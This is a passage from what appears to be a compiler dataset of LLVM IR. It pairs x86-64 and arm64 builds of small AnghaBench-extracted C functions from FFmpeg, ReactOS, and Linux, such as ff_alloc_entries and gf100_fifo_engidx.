%44, null br i1 %45, label %62, label %46 46: ; preds = %42 %47 = getelementptr inbounds %struct.TYPE_6__, ptr %10, i64 0, i32 1 store i32 %1, ptr %47, align 4, !tbaa !21 %48 = load i32, ptr %10, align 8, !tbaa !17 %49 = icmp sgt i32 %48, 0 br i1 %49, label %50, label %69 50: ; preds = %46, %50 %51 = phi i64 [ %58, %50 ], [ 0, %46 ] %52 = load ptr, ptr %26, align 8, !tbaa !19 %53 = getelementptr inbounds i32, ptr %52, i64 %51 %54 = tail call i32 @pthread_mutex_init(ptr noundef %53, ptr noundef null) #2 %55 = load ptr, ptr %43, align 8, !tbaa !20 %56 = getelementptr inbounds i32, ptr %55, i64 %51 %57 = tail call i32 @pthread_cond_init(ptr noundef %56, ptr noundef null) #2 %58 = add nuw nsw i64 %51, 1 %59 = load i32, ptr %10, align 8, !tbaa !17 %60 = sext i32 %59 to i64 %61 = icmp slt i64 %58, %60 br i1 %61, label %50, label %69, !llvm.loop !22 62: ; preds = %36, %39, %42 %63 = tail call i32 @av_freep(ptr noundef nonnull %11) #2 %64 = tail call i32 @av_freep(ptr noundef nonnull %26) #2 %65 = getelementptr inbounds %struct.TYPE_6__, ptr %10, i64 0, i32 2 %66 = tail call i32 @av_freep(ptr noundef nonnull %65) #2 %67 = load i32, ptr @ENOMEM, align 4, !tbaa !11 %68 = tail call i32 @AVERROR(i32 noundef %67) #2 br label %69 69: ; preds = %50, %46, %2, %62 %70 = phi i32 [ %68, %62 ], [ 0, %2 ], [ 0, %46 ], [ 0, %50 ] ret i32 %70 } declare i32 @av_assert0(i32 noundef) local_unnamed_addr #1 declare i32 @av_freep(ptr noundef) local_unnamed_addr #1 declare ptr @av_mallocz_array(i32 noundef, i32 noundef) local_unnamed_addr #1 declare ptr @av_malloc_array(i32 noundef, i32 noundef) local_unnamed_addr #1 declare i32 @AVERROR(i32 noundef) local_unnamed_addr #1 declare i32 @pthread_mutex_init(ptr noundef, ptr noundef) local_unnamed_addr #1 declare i32 @pthread_cond_init(ptr noundef, ptr noundef) local_unnamed_addr #1 attributes #0 = { nounwind uwtable "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #2 = { nounwind } !llvm.module.flags = !{!0, !1, !2, !3} !llvm.ident = !{!4} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{!"clang version 18.1.8 (https://github.com/llvm/llvm-project.git 3b5b5c1ec4a3095ab096dd780e84d7ab81f3d7ff)"} !5 = !{!6, !7, i64 0} !6 = !{!"TYPE_7__", !7, i64 0, !7, i64 4, !10, i64 8} !7 = !{!"int", !8, i64 0} !8 = !{!"omnipotent char", !9, i64 0} !9 = !{!"Simple C/C++ TBAA"} !10 = !{!"any pointer", !8, i64 0} !11 = !{!7, !7, i64 0} !12 = !{!6, !10, i64 8} !13 = !{!14, !10, i64 0} !14 = !{!"TYPE_5__", !10, i64 0} !15 = !{!16, !10, i64 24} !16 = !{!"TYPE_6__", !7, i64 0, !7, i64 4, !10, i64 8, !10, i64 16, !10, i64 24} !17 = !{!16, !7, i64 0} !18 = !{!6, !7, i64 4} !19 = !{!16, !10, i64 16} !20 = !{!16, !10, i64 8} !21 = !{!16, !7, i64 4} !22 = distinct !{!22, !23} !23 = !{!"llvm.loop.mustprogress"}
; ModuleID = 'AnghaBench/FFmpeg/libavcodec/extr_pthread_slice.c_ff_alloc_entries.c' source_filename = "AnghaBench/FFmpeg/libavcodec/extr_pthread_slice.c_ff_alloc_entries.c" target datalayout = "e-m:o-i64:64-i128:128-n32:64-S128-Fn32" target triple = "arm64-apple-macosx15.0.0" @FF_THREAD_SLICE = common local_unnamed_addr global i32 0, align 4 @ENOMEM = common local_unnamed_addr global i32 0, align 4 ; Function Attrs: nounwind ssp uwtable(sync) define i32 @ff_alloc_entries(ptr nocapture noundef readonly %0, i32 noundef %1) local_unnamed_addr #0 { %3 = load i32, ptr %0, align 8, !tbaa !6 %4 = load i32, ptr @FF_THREAD_SLICE, align 4, !tbaa !12 %5 = and i32 %4, %3 %6 = icmp eq i32 %5, 0 br i1 %6, label %69, label %7 7: ; preds = %2 %8 = getelementptr inbounds i8, ptr %0, i64 8 %9 = load ptr, ptr %8, align 8, !tbaa !13 %10 = load ptr, ptr %9, align 8, !tbaa !14 %11 = getelementptr inbounds i8, ptr %10, i64 24 %12 = load ptr, ptr %11, align 8, !tbaa !16 %13 = icmp eq ptr %12, null br i1 %13, label %22, label %14 14: ; preds = %7 %15 = load i32, ptr %10, align 8, !tbaa !18 %16 = getelementptr inbounds i8, ptr %0, i64 4 %17 = load i32, ptr %16, align 4, !tbaa !19 %18 = icmp eq i32 %15, %17 %19 = zext i1 %18 to i32 %20 = tail call i32 @av_assert0(i32 noundef %19) #2 %21 = tail call i32 @av_freep(ptr noundef nonnull %11) #2 br label %22 22: ; preds = %14, %7 %23 = getelementptr inbounds i8, ptr %0, i64 4 %24 = load i32, ptr %23, align 4, !tbaa !19 store i32 %24, ptr %10, align 8, !tbaa !18 %25 = tail call ptr @av_mallocz_array(i32 noundef %1, i32 noundef 4) #2 store ptr %25, ptr %11, align 8, !tbaa !16 %26 = getelementptr inbounds i8, ptr %10, i64 16 %27 = load ptr, ptr %26, align 8, !tbaa !20 %28 = icmp eq ptr %27, null br i1 %28, label %29, label %36 29: ; preds = %22 %30 = load i32, ptr %10, align 8, !tbaa !18 %31 = tail call ptr @av_malloc_array(i32 noundef %30, i32 noundef 4) #2 store ptr %31, ptr %26, align 8, !tbaa !20 %32 = load i32, ptr %10, align 8, !tbaa !18 %33 = tail call ptr @av_malloc_array(i32 noundef %32, i32 noundef 4) #2 %34 = getelementptr inbounds i8, ptr %10, i64 8 store ptr %33, ptr %34, align 8, !tbaa !21 %35 = load ptr, ptr %11, align 8, !tbaa !16 br label %36 36: ; preds = %29, %22 %37 = phi ptr [ %35, %29 ], [ %25, %22 ] %38 = icmp eq ptr %37, null br i1 %38, label %62, label %39 39: ; preds = %36 %40 = load ptr, ptr %26, align 8, !tbaa !20 %41 = icmp eq ptr %40, null br i1 %41, label %62, label %42 42: ; preds = %39 %43 = getelementptr inbounds i8, ptr %10, i64 8 %44 = load ptr, ptr %43, align 8, !tbaa !21 %45 = icmp eq ptr %44, null br i1 %45, label %62, label %46 46: ; preds = %42 %47 = getelementptr inbounds i8, ptr %10, i64 4 store i32 %1, ptr %47, align 4, !tbaa !22 %48 = load i32, ptr %10, align 8, !tbaa !18 %49 = icmp sgt i32 %48, 0 br i1 %49, label %50, label %69 50: ; preds = %46, %50 %51 = phi i64 [ %58, %50 ], [ 0, %46 ] %52 = load ptr, ptr %26, align 8, !tbaa !20 %53 = getelementptr inbounds i32, ptr %52, i64 %51 %54 = tail call i32 @pthread_mutex_init(ptr noundef %53, ptr noundef null) #2 %55 = load ptr, ptr %43, align 8, !tbaa !21 %56 = getelementptr inbounds i32, ptr %55, i64 %51 %57 = tail call i32 @pthread_cond_init(ptr noundef %56, ptr noundef null) #2 %58 = add nuw nsw i64 %51, 1 %59 = load i32, ptr %10, align 8, !tbaa !18 %60 = sext i32 %59 to i64 %61 = icmp slt i64 %58, %60 br i1 %61, label %50, label %69, !llvm.loop !23 62: ; preds = %36, %39, %42 %63 = tail call i32 @av_freep(ptr noundef nonnull %11) #2 %64 = tail call i32 @av_freep(ptr noundef nonnull %26) #2 %65 = getelementptr inbounds i8, ptr %10, i64 8 %66 = tail call i32 @av_freep(ptr noundef nonnull %65) #2 %67 = load i32, ptr @ENOMEM, align 4, !tbaa !12 %68 = tail call i32 @AVERROR(i32 noundef %67) #2 br label %69 69: ; preds = %50, %46, %2, %62 %70 = phi i32 [ %68, %62 ], [ 0, %2 ], [ 0, %46 ], [ 0, %50 ] ret i32 %70 } declare i32 @av_assert0(i32 noundef) local_unnamed_addr #1 declare i32 @av_freep(ptr noundef) local_unnamed_addr #1 declare ptr @av_mallocz_array(i32 noundef, i32 noundef) local_unnamed_addr #1 declare ptr @av_malloc_array(i32 noundef, i32 noundef) local_unnamed_addr #1 declare i32 @AVERROR(i32 noundef) local_unnamed_addr #1 declare i32 @pthread_mutex_init(ptr noundef, ptr noundef) local_unnamed_addr #1 declare i32 @pthread_cond_init(ptr noundef, ptr noundef) local_unnamed_addr #1 attributes #0 = { nounwind ssp uwtable(sync) "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" } attributes #1 = { "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" } attributes #2 = { nounwind } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 2, !"SDK Version", [2 x i32] [i32 15, i32 5]} !1 = !{i32 1, !"wchar_size", i32 4} !2 = !{i32 8, !"PIC Level", i32 2} !3 = !{i32 7, !"uwtable", i32 1} !4 = !{i32 7, !"frame-pointer", i32 1} !5 = !{!"Apple clang version 17.0.0 (clang-1700.0.13.5)"} !6 = !{!7, !8, i64 0} !7 = !{!"TYPE_7__", !8, i64 0, !8, i64 4, !11, i64 8} !8 = !{!"int", !9, i64 0} !9 = !{!"omnipotent char", !10, i64 0} !10 = !{!"Simple C/C++ TBAA"} !11 = !{!"any pointer", !9, i64 0} !12 = !{!8, !8, i64 0} !13 = !{!7, !11, i64 8} !14 = !{!15, !11, i64 0} !15 = !{!"TYPE_5__", !11, i64 0} !16 = !{!17, !11, i64 24} !17 = !{!"TYPE_6__", !8, i64 0, !8, i64 4, !11, i64 8, !11, i64 16, !11, i64 24} !18 = !{!17, !8, i64 0} !19 = !{!7, !8, i64 4} !20 = !{!17, !11, i64 16} !21 = !{!17, !11, i64 8} !22 = !{!17, !8, i64 4} !23 = distinct !{!23, !24} !24 = !{!"llvm.loop.mustprogress"}
FFmpeg_libavcodec_extr_pthread_slice.c_ff_alloc_entries
; ModuleID = 'AnghaBench/reactos/dll/win32/oleaut32/extr_usrmarshal.c_dump_user_flags.c' source_filename = "AnghaBench/reactos/dll/win32/oleaut32/extr_usrmarshal.c_dump_user_flags.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-i128:128-f80:128-n8:16:32:64-S128" target triple = "x86_64-unknown-linux-gnu" @NDR_LOCAL_DATA_REPRESENTATION = dso_local local_unnamed_addr global i64 0, align 8 @.str = private unnamed_addr constant [36 x i8] c"MAKELONG(NDR_LOCAL_REPRESENTATION, \00", align 1 @.str.1 = private unnamed_addr constant [18 x i8] c"MAKELONG(0x%04x, \00", align 1 @.str.2 = private unnamed_addr constant [14 x i8] c"MSHCTX_LOCAL)\00", align 1 @.str.3 = private unnamed_addr constant [20 x i8] c"MSHCTX_NOSHAREDMEM)\00", align 1 @.str.4 = private unnamed_addr constant [25 x i8] c"MSHCTX_DIFFERENTMACHINE)\00", align 1 @.str.5 = private unnamed_addr constant [15 x i8] c"MSHCTX_INPROC)\00", align 1 @.str.6 = private unnamed_addr constant [4 x i8] c"%d)\00", align 1 @llvm.compiler.used = appending global [1 x ptr] [ptr @dump_user_flags], section "llvm.metadata" ; Function Attrs: nounwind uwtable define internal void @dump_user_flags(ptr nocapture noundef readonly %0) #0 { %2 = load i32, ptr %0, align 4, !tbaa !5 %3 = tail call i32 @HIWORD(i32 noundef %2) #2 %4 = sext i32 %3 to i64 %5 = load i64, ptr @NDR_LOCAL_DATA_REPRESENTATION, align 8, !tbaa !9 %6 = icmp eq i64 %5, %4 br i1 %6, label %7, label %9 7: ; preds = %1 %8 = tail call i32 (ptr, ...) @TRACE(ptr noundef nonnull @.str) #2 br label %13 9: ; preds = %1 %10 = load i32, ptr %0, align 4, !tbaa !5 %11 = tail call i32 @HIWORD(i32 noundef %10) #2 %12 = tail call i32 (ptr, ...) @TRACE(ptr noundef nonnull @.str.1, i32 noundef %11) #2 br label %13 13: ; preds = %9, %7 %14 = load i32, ptr %0, align 4, !tbaa !5 %15 = tail call i32 @LOWORD(i32 noundef %14) #2 switch i32 %15, label %24 [ i32 129, label %16 i32 128, label %18 i32 131, label %20 i32 130, label %22 ] 16: ; preds = %13 %17 = tail call i32 (ptr, ...) @TRACE(ptr noundef nonnull @.str.2) #2 br label %28 18: ; preds = %13 %19 = tail call i32 (ptr, ...) @TRACE(ptr noundef nonnull @.str.3) #2 br label %28 20: ; preds = %13 %21 = tail call i32 (ptr, ...) @TRACE(ptr noundef nonnull @.str.4) #2 br label %28 22: ; preds = %13 %23 = tail call i32 (ptr, ...) @TRACE(ptr noundef nonnull @.str.5) #2 br label %28 24: ; preds = %13 %25 = load i32, ptr %0, align 4, !tbaa !5 %26 = tail call i32 @LOWORD(i32 noundef %25) #2 %27 = tail call i32 (ptr, ...) @TRACE(ptr noundef nonnull @.str.6, i32 noundef %26) #2 br label %28 28: ; preds = %24, %22, %20, %18, %16 ret void } declare i32 @HIWORD(i32 noundef) local_unnamed_addr #1 declare i32 @TRACE(ptr noundef, ...) local_unnamed_addr #1 declare i32 @LOWORD(i32 noundef) local_unnamed_addr #1 attributes #0 = { nounwind uwtable "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #2 = { nounwind } !llvm.module.flags = !{!0, !1, !2, !3} !llvm.ident = !{!4} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{!"clang version 18.1.8 (https://github.com/llvm/llvm-project.git 3b5b5c1ec4a3095ab096dd780e84d7ab81f3d7ff)"} !5 = !{!6, !6, i64 0} !6 = !{!"int", !7, i64 0} !7 = !{!"omnipotent char", !8, i64 0} !8 = !{!"Simple C/C++ TBAA"} !9 = !{!10, !10, i64 0} !10 = !{!"long", !7, i64 0}
; ModuleID = 'AnghaBench/reactos/dll/win32/oleaut32/extr_usrmarshal.c_dump_user_flags.c' source_filename = "AnghaBench/reactos/dll/win32/oleaut32/extr_usrmarshal.c_dump_user_flags.c" target datalayout = "e-m:o-i64:64-i128:128-n32:64-S128-Fn32" target triple = "arm64-apple-macosx15.0.0" @NDR_LOCAL_DATA_REPRESENTATION = common local_unnamed_addr global i64 0, align 8 @.str = private unnamed_addr constant [36 x i8] c"MAKELONG(NDR_LOCAL_REPRESENTATION, \00", align 1 @.str.1 = private unnamed_addr constant [18 x i8] c"MAKELONG(0x%04x, \00", align 1 @.str.2 = private unnamed_addr constant [14 x i8] c"MSHCTX_LOCAL)\00", align 1 @.str.3 = private unnamed_addr constant [20 x i8] c"MSHCTX_NOSHAREDMEM)\00", align 1 @.str.4 = private unnamed_addr constant [25 x i8] c"MSHCTX_DIFFERENTMACHINE)\00", align 1 @.str.5 = private unnamed_addr constant [15 x i8] c"MSHCTX_INPROC)\00", align 1 @.str.6 = private unnamed_addr constant [4 x i8] c"%d)\00", align 1 @llvm.used = appending global [1 x ptr] [ptr @dump_user_flags], section "llvm.metadata" ; Function Attrs: nounwind ssp uwtable(sync) define internal void @dump_user_flags(ptr nocapture noundef readonly %0) #0 { %2 = load i32, ptr %0, align 4, !tbaa !6 %3 = tail call i32 @HIWORD(i32 noundef %2) #2 %4 = sext i32 %3 to i64 %5 = load i64, ptr @NDR_LOCAL_DATA_REPRESENTATION, align 8, !tbaa !10 %6 = icmp eq i64 %5, %4 br i1 %6, label %7, label %9 7: ; preds = %1 %8 = tail call i32 (ptr, ...) @TRACE(ptr noundef nonnull @.str) #2 br label %13 9: ; preds = %1 %10 = load i32, ptr %0, align 4, !tbaa !6 %11 = tail call i32 @HIWORD(i32 noundef %10) #2 %12 = tail call i32 (ptr, ...) @TRACE(ptr noundef nonnull @.str.1, i32 noundef %11) #2 br label %13 13: ; preds = %9, %7 %14 = load i32, ptr %0, align 4, !tbaa !6 %15 = tail call i32 @LOWORD(i32 noundef %14) #2 switch i32 %15, label %24 [ i32 129, label %16 i32 128, label %18 i32 131, label %20 i32 130, label %22 ] 16: ; preds = %13 %17 = tail call i32 (ptr, ...) @TRACE(ptr noundef nonnull @.str.2) #2 br label %28 18: ; preds = %13 %19 = tail call i32 (ptr, ...) @TRACE(ptr noundef nonnull @.str.3) #2 br label %28 20: ; preds = %13 %21 = tail call i32 (ptr, ...) @TRACE(ptr noundef nonnull @.str.4) #2 br label %28 22: ; preds = %13 %23 = tail call i32 (ptr, ...) @TRACE(ptr noundef nonnull @.str.5) #2 br label %28 24: ; preds = %13 %25 = load i32, ptr %0, align 4, !tbaa !6 %26 = tail call i32 @LOWORD(i32 noundef %25) #2 %27 = tail call i32 (ptr, ...) @TRACE(ptr noundef nonnull @.str.6, i32 noundef %26) #2 br label %28 28: ; preds = %24, %22, %20, %18, %16 ret void } declare i32 @HIWORD(i32 noundef) local_unnamed_addr #1 declare i32 @TRACE(ptr noundef, ...) local_unnamed_addr #1 declare i32 @LOWORD(i32 noundef) local_unnamed_addr #1 attributes #0 = { nounwind ssp uwtable(sync) "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" } attributes #1 = { "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" } attributes #2 = { nounwind } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 2, !"SDK Version", [2 x i32] [i32 15, i32 5]} !1 = !{i32 1, !"wchar_size", i32 4} !2 = !{i32 8, !"PIC Level", i32 2} !3 = !{i32 7, !"uwtable", i32 1} !4 = !{i32 7, !"frame-pointer", i32 1} !5 = !{!"Apple clang version 17.0.0 (clang-1700.0.13.5)"} !6 = !{!7, !7, i64 0} !7 = !{!"int", !8, i64 0} !8 = !{!"omnipotent char", !9, i64 0} !9 = !{!"Simple C/C++ TBAA"} !10 = !{!11, !11, i64 0} !11 = !{!"long", !8, i64 0}
reactos_dll_win32_oleaut32_extr_usrmarshal.c_dump_user_flags
; ModuleID = 'AnghaBench/linux/arch/x86/kernel/extr_apm_32.c_set_system_power_state.c' source_filename = "AnghaBench/linux/arch/x86/kernel/extr_apm_32.c_set_system_power_state.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-i128:128-f80:128-n8:16:32:64-S128" target triple = "x86_64-unknown-linux-gnu" @APM_DEVICE_ALL = dso_local local_unnamed_addr global i32 0, align 4 @llvm.compiler.used = appending global [1 x ptr] [ptr @set_system_power_state], section "llvm.metadata" ; Function Attrs: nounwind uwtable define internal i32 @set_system_power_state(i32 noundef %0) #0 { %2 = load i32, ptr @APM_DEVICE_ALL, align 4, !tbaa !5 %3 = tail call i32 @set_power_state(i32 noundef %2, i32 noundef %0) #2 ret i32 %3 } declare i32 @set_power_state(i32 noundef, i32 noundef) local_unnamed_addr #1 attributes #0 = { nounwind uwtable "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #2 = { nounwind } !llvm.module.flags = !{!0, !1, !2, !3} !llvm.ident = !{!4} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{!"clang version 18.1.8 (https://github.com/llvm/llvm-project.git 3b5b5c1ec4a3095ab096dd780e84d7ab81f3d7ff)"} !5 = !{!6, !6, i64 0} !6 = !{!"int", !7, i64 0} !7 = !{!"omnipotent char", !8, i64 0} !8 = !{!"Simple C/C++ TBAA"}
; ModuleID = 'AnghaBench/linux/arch/x86/kernel/extr_apm_32.c_set_system_power_state.c' source_filename = "AnghaBench/linux/arch/x86/kernel/extr_apm_32.c_set_system_power_state.c" target datalayout = "e-m:o-i64:64-i128:128-n32:64-S128-Fn32" target triple = "arm64-apple-macosx15.0.0" @APM_DEVICE_ALL = common local_unnamed_addr global i32 0, align 4 @llvm.used = appending global [1 x ptr] [ptr @set_system_power_state], section "llvm.metadata" ; Function Attrs: nounwind ssp uwtable(sync) define internal i32 @set_system_power_state(i32 noundef %0) #0 { %2 = load i32, ptr @APM_DEVICE_ALL, align 4, !tbaa !6 %3 = tail call i32 @set_power_state(i32 noundef %2, i32 noundef %0) #2 ret i32 %3 } declare i32 @set_power_state(i32 noundef, i32 noundef) local_unnamed_addr #1 attributes #0 = { nounwind ssp uwtable(sync) "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" } attributes #1 = { "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" } attributes #2 = { nounwind } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 2, !"SDK Version", [2 x i32] [i32 15, i32 5]} !1 = !{i32 1, !"wchar_size", i32 4} !2 = !{i32 8, !"PIC Level", i32 2} !3 = !{i32 7, !"uwtable", i32 1} !4 = !{i32 7, !"frame-pointer", i32 1} !5 = !{!"Apple clang version 17.0.0 (clang-1700.0.13.5)"} !6 = !{!7, !7, i64 0} !7 = !{!"int", !8, i64 0} !8 = !{!"omnipotent char", !9, i64 0} !9 = !{!"Simple C/C++ TBAA"}
linux_arch_x86_kernel_extr_apm_32.c_set_system_power_state
; ModuleID = 'AnghaBench/linux/drivers/gpu/drm/nouveau/nvkm/engine/fifo/extr_gf100.c_gf100_fifo_engidx.c' source_filename = "AnghaBench/linux/drivers/gpu/drm/nouveau/nvkm/engine/fifo/extr_gf100.c_gf100_fifo_engidx.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-i128:128-f80:128-n8:16:32:64-S128" target triple = "x86_64-unknown-linux-gnu" @llvm.compiler.used = appending global [1 x ptr] [ptr @gf100_fifo_engidx], section "llvm.metadata" @switch.table.gf100_fifo_engidx = private unnamed_addr constant [6 x i32] [i32 1, i32 2, i32 3, i32 0, i32 5, i32 4], align 4 ; Function Attrs: inlinehint mustprogress nofree norecurse nosync nounwind willreturn memory(none) uwtable define internal noundef i32 @gf100_fifo_engidx(ptr nocapture readnone %0, i32 noundef %1) #0 { %3 = add i32 %1, -128 %4 = icmp ult i32 %3, 6 br i1 %4, label %5, label %9 5: ; preds = %2 %6 = zext nneg i32 %3 to i64 %7 = getelementptr inbounds [6 x i32], ptr @switch.table.gf100_fifo_engidx, i64 0, i64 %6 %8 = load i32, ptr %7, align 4 br label %9 9: ; preds = %5, %2 %10 = phi i32 [ -1, %2 ], [ %8, %5 ] ret i32 %10 } attributes #0 = { inlinehint mustprogress nofree norecurse nosync nounwind willreturn memory(none) uwtable "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3} !llvm.ident = !{!4} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{!"clang version 18.1.8 (https://github.com/llvm/llvm-project.git 3b5b5c1ec4a3095ab096dd780e84d7ab81f3d7ff)"}
; ModuleID = 'AnghaBench/linux/drivers/gpu/drm/nouveau/nvkm/engine/fifo/extr_gf100.c_gf100_fifo_engidx.c' source_filename = "AnghaBench/linux/drivers/gpu/drm/nouveau/nvkm/engine/fifo/extr_gf100.c_gf100_fifo_engidx.c" target datalayout = "e-m:o-i64:64-i128:128-n32:64-S128-Fn32" target triple = "arm64-apple-macosx15.0.0" @llvm.used = appending global [1 x ptr] [ptr @gf100_fifo_engidx], section "llvm.metadata" @switch.table.gf100_fifo_engidx = private unnamed_addr constant [6 x i32] [i32 1, i32 2, i32 3, i32 0, i32 5, i32 4], align 4 ; Function Attrs: inlinehint mustprogress nofree norecurse nosync nounwind ssp willreturn memory(none) uwtable(sync) define internal range(i32 -1, 6) i32 @gf100_fifo_engidx(ptr nocapture readnone %0, i32 noundef %1) #0 { %3 = add i32 %1, -128 %4 = icmp ult i32 %3, 6 br i1 %4, label %5, label %9 5: ; preds = %2 %6 = zext nneg i32 %3 to i64 %7 = getelementptr inbounds [6 x i32], ptr @switch.table.gf100_fifo_engidx, i64 0, i64 %6 %8 = load i32, ptr %7, align 4 br label %9 9: ; preds = %2, %5 %10 = phi i32 [ %8, %5 ], [ -1, %2 ] ret i32 %10 } attributes #0 = { inlinehint mustprogress nofree norecurse nosync nounwind ssp willreturn memory(none) uwtable(sync) "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 2, !"SDK Version", [2 x i32] [i32 15, i32 5]} !1 = !{i32 1, !"wchar_size", i32 4} !2 = !{i32 8, !"PIC Level", i32 2} !3 = !{i32 7, !"uwtable", i32 1} !4 = !{i32 7, !"frame-pointer", i32 1} !5 = !{!"Apple clang version 17.0.0 (clang-1700.0.13.5)"}
linux_drivers_gpu_drm_nouveau_nvkm_engine_fifo_extr_gf100.c_gf100_fifo_engidx
